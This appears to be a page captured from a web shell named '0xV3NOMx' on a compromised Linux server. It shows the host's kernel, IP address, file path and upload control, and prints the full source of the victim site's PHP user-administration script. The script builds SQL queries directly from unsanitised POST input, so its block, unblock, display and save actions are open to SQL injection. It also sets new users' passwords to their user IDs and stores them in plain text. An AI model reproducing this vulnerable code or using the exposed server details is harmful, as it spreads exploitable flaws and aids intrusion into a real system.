0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.226.94.64


Current Path : /var/www/misc/public_html/oums_old/phpscript/
Upload File :
Current File : /var/www/misc/public_html/oums_old/phpscript/user_setup.php

<?php
	include("sys_session.php");	
	include("sys_connect.php");	
	require("sys_mainphp.php");	

	$load_data=$_POST['load_data'];

	$resp_mesg="";
	$resp_stat="";
	$resp_file="";

	if($_POST['load_data']=='dept_data')
	{
		if($type_id=='ADMIN')
		{
			$mysql="select * from masdept where fdeleted<>'T' order by fdeptcode";
		}		
		elseif($type_id=='CHIEF')
		{
			$mysql="select * from masdept where fdepthead='$empl_id' and fdeleted<>'T' order by fdeptname";
		}		
		else
		{
			$mysql="select * from masdept where fdeptcode='$dept_id' and fdeleted<>'T' order by fdeptcode";
		}
		$myres=mysqli_query($mycon,$mysql);
		if(mysqli_num_rows($myres)>1)
		{
			echo "<option value=%>ALL DEPARTMENTS</option>";
		}
		while($row = mysqli_fetch_assoc($myres))
		{
			echo "<option value='$row[fdeptcode]'>$row[fdeptname]</option>";
		}
	}

	if($load_data=='grid_data')
	{
		$dept_code=$_POST['dept_code'];
		$empl_stat=$_POST['empl_stat'];		
		$find_data=$_POST['find_data'];		

		require("sys_grid_data.php");										
		$i=1;
		
		$grid_sele = "";
		$grid_sele.= "select masempl.*,masdesn.*,masdept.fdeptstat,masdept.fdepthead from masempl,masdesn,masdept where ";
		$grid_sele.= "masempl.fdeptcode like '$dept_code' and femplstat like '$empl_stat' and femplname like '%$find_data%' ";
		$grid_sele.= "and ifnull(masempl.fdeleted,'F')<>'T' and masempl.fdesncode=masdesn.fdesncode ";
		if($type_id=="ADMIN") 
		{
			$grid_sele.= "and masempl.fdeptcode=masdept.fdeptcode ";
		}
		elseif ($type_id=="CHIEF") 
		{
			$grid_sele.= "and masempl.fdeptcode=masdept.fdeptcode and masdept.fdepthead = '$empl_id' ";
		}
		else
		{
			$grid_sele.= "and masempl.fdeptcode=masdept.fdeptcode and masempl.fdeptcode = '$dept_id' ";
		}
		$grid_sele.= "order by fdeptcode,fdesnordr,masdesn.fdesncode,fempltype,femplname";

		$grid_para = grid_limit($grid_sele);
		$page_numb = $grid_para[0];
		$last_page = $grid_para[1];		
		$page_limt = $grid_para[2];		
		$lowr_limt = $grid_para[3];		
		
		$mysql = $grid_sele." limit $lowr_limt, $page_limt";
		$myres = mysqli_query($mycon,$mysql);
		$mycnt = mysqli_num_rows($myres);
		if($mycnt>0)
		{
			echo "<table>";
			echo "<thead>";				
			echo "<tr>";
			echo "<th> # </th>";
			echo "<th> Dept.</th>";
			echo "<th> Empl. Code </th>";
			echo "<th> Employee Name</th>";
			echo "<th> Designation </th>";
			echo "<th> User ID </th>";						
			echo "<th> User Type </th>";											
			echo "<th> Action </th>";										
			echo "</tr>";	
			echo "</thead>";				
			echo "<tbody>";					
			while($row = mysqli_fetch_assoc($myres))
			{
				$page_link ="<a class='grid_link' href=# onClick=edit_data('$row[femplcode]')>Edit</a>";
				if($row['fblckuser']!='T'){$page_link.=" | <a class='grid_link' href=# onClick=blck_user('$row[femplcode]')>Block User</a>";}
				if($row['fblckuser']=='T'){$page_link.=" | <a class='grid_link' href=# onClick=open_user('$row[femplcode]')>UnBlock User</a>";}				
				
				echo "<tr id=$row[fdeptcode]>";
				echo "<td width=4% align=center>$i</td>";
				echo "<td width=8% align=center>$row[fdeptcode]</td>";
				echo "<td width=8% align=center>$row[femplcode]</td>";
				echo "<td width=20% align=left>$row[femplname]</td>";
				echo "<td width=16% align=left>$row[fdesnname]</td>";
				echo "<td width=15% align=center>$row[fusercode]</td>";	
				echo "<td width=10% align=center>$row[fusertype]</td>";					
				echo "<td width=15% align=center>$page_link</td>";
				echo "</tr>";
				$i++;
			}
			echo "</tbody>";			
			echo "</table>";			
			include("sys_grid_navbar.php");			
		}
		else
		{
			echo "<div class='alert alert-info'>No details found!</div>";			
		}		
	}
	
	if($load_data=='user_type')
	{
		include("sys_connect.php");	
		if($type_id=='ADMIN')
		{
			$mysql="select * from sys_user_type order by fuserordr";
		}		
		elseif($type_id=='CHIEF')
		{
			$mysql="select * from sys_user_type order by fuserordr";
		}		
		else
		{
			$mysql="select * from sys_user_type order by fuserordr";
		}
		$myres=mysqli_query($mycon,$mysql);
		if(mysqli_num_rows($myres)>1)
		{
			echo "<option value=0>--Select--</option>";
		}
		while($row = mysqli_fetch_assoc($myres))
		{
			echo "<option value='$row[fusertype]'>$row[ftypedesc]</option>";
		}
	}

	if($load_data=='blck_user')
	{
		$empl_code = $_POST['dele_code'];	
		$mysql="update masempl set fblckuser='T' where femplcode='$empl_code'";
		$myres=mysqli_query($mycon,$mysql);
	}

	if($load_data=='open_user')
	{
		$empl_code = $_POST['dele_code'];	
		$mysql="update masempl set fblckuser='F' where femplcode='$empl_code'";
		$myres=mysqli_query($mycon,$mysql);
	}
		
	if($load_data=='disp_data')
	{
		$empl_code=$_POST['empl_code'];		
		include("sys_connect.php");
		$mysql="select * from masempl where femplcode='$empl_code'";
		$myres=mysqli_query($mycon,$mysql);
		$rows = array();
		while($r = mysqli_fetch_assoc($myres)) 
		{
			$rows = $r;
		}
		echo json_encode($rows);
	}	
	
	if($load_data=='save_data')
	{
		$empl_code=$_POST['empl_code'];
		$user_type=$_POST['user_type'];		
		$user_code=$_POST['user_code'];
		
		$resp_stat="";		
		include("sys_connect.php");			
		$mysql="select * from masempl where femplcode='$empl_code' and ifnull(fusercode,'')=''";
		$myres=mysqli_query($mycon,$mysql);
		$mycnt=mysqli_num_rows($myres);
		if($mycnt!=0)
		{
			$mysql="select * from masempl where femplcode<>'$empl_code' and fusercode='$user_code'";
			$myres=mysqli_query($mycon,$mysql);
			$mycnt=mysqli_num_rows($myres);
			if($mycnt!=0)
			{
				$resp_stat="";
				$resp_mesg="User ID already exists!";
			}
			else
			{
				$resp_stat="T";
				$mysql="update masempl set fusercode='$user_code',fusertype='$user_type',fpassword='$user_code' where femplcode='$empl_code'";
				$myres=mysqli_query($mycon,$mysql);
	
				$resp_mesg="User details updated!";			
			}		

		}
		else
		{
			$resp_stat="T";
			$mysql="update masempl set fusertype='$user_type' where femplcode='$empl_code'";
			$myres=mysqli_query($mycon,$mysql);		
			$resp_mesg="User details updated!";			
		}				
		$mysql="insert into sys_logs_user (fdeptcode,flogstype,fusercode,flogsdate,flogsipad,flogsmcad,fremarks,fdeleted) values('$dept_id','USER','$user_id',now(),'$useripad','$usermcad','USER DETAILS UPDATED - $user_code','F')";
		$myres=mysqli_query($mycon,$mysql);	
	
		echo json_encode(array("mesg"=>$resp_mesg, "stat"=>$resp_stat, "file"=>$resp_file));
	}	
?>